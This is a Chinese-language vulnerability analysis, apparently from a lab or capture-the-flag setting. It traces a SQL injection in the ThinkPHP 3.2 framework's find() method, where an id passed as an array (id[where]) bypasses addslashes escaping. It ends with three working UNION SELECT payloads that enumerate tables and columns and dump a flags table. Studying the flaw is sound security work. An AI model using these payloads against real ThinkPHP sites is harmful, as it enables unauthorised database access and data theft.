源代码
class IndexController extends Controller {
public function index(){
$a=M('xxx'); //表名
$id=I('GET.id');
$b=$a->find($id);
var_dump($b);
}
}
创建一个test数据库
然后开启mysql命令行
CREATE TABLE `Course`(
`id` VARCHAR(20),
`username` VARCHAR(20) NOT NULL DEFAULT '',
`password` VARCHAR(20) NOT NULL,
PRIMARY KEY(`id`)
);
insert into Course values('1' , '1111' , '1111');
insert into Course values('2' , '2222' , '2222');
然后修改
thinkphp-3.2\thinkphp-3.2\Application\Home\Conf\config.php
<?php
return array(
//'配置项'=>'配置值'
'DB_TYPE'=>'mysqli', //数据库类型
'DB_HOST'=>'localhost', //服务器地址
'DB_NAME'=>'test', //数据库名
'DB_USER'=>'root', //数据库账号
'DB_PWD'=>'root', //数据库密码
'DB_PORT'=>3306, //数据库端口
//数据库表前缀
'DB_CHARSET'=>'utf8', //数据库字符编码
'DB_DEBUG' => TRUE //数据库sql调试日志的开启
);
环境搭建完成
测试payload
没问题,环境搭建完成
分析漏洞
其实问题首先出现在一个地方
我们看这里find函数判断$options是否为数字或者字符串,然后后面相当于把id设为一个数组
相当于
$options=array(
'where'=>array(
'id'=>'1'
)
);
然后我们按照这种思路继续跟进
在_parseOption中发现
参数会进入函数,我们继续跟,进入_parseType
进入select函数
然后发现参数进入buildSelectSql,继续跟。
之后进入parseSql
跟进parsewhere
进入parsevalue,发现在这一步进行转义,注意观察,此时的1’已经变为1’/,我们跟进escapestring----继续跟进发现它使用了addslashes函数进行转义。
我们继续跟进
最后发现此时sql注入已经被阻拦。
如果为数组呢
我们在尝试
数组注入
?id[where]=1’
到达find函数,这里find函数判断$options是否为字符串或者整数,因为我们传入的是一个数组直接跳过
此时我们的option为
$options=array(
'where'=>'1'
);
到达过滤的函数时,发现if判断没有进去,相当于直接过了。
按照刚才的方式往下走到_parseOptions,如果我们的options[‘where’]是数组的话会进入_parseType,我们前面说到,现在的options[‘where’]="1’"是个字符串,也就不会进入这个if,所以当目标数据库中的id字段是int型时可以绕过intval过滤。
接着往后走,直接在parsewhere中进入if$whereStr = $where; 最终返回的内容是WHERE 1’
最后我们的’也就被保留了下来
接下来就可以进行注入攻击了
payload
?id[where]=id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#
?id[where]=id=0 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flags'),3,4#
?id[where]=id=0 union select 1,(select flag4s from flags),3,4#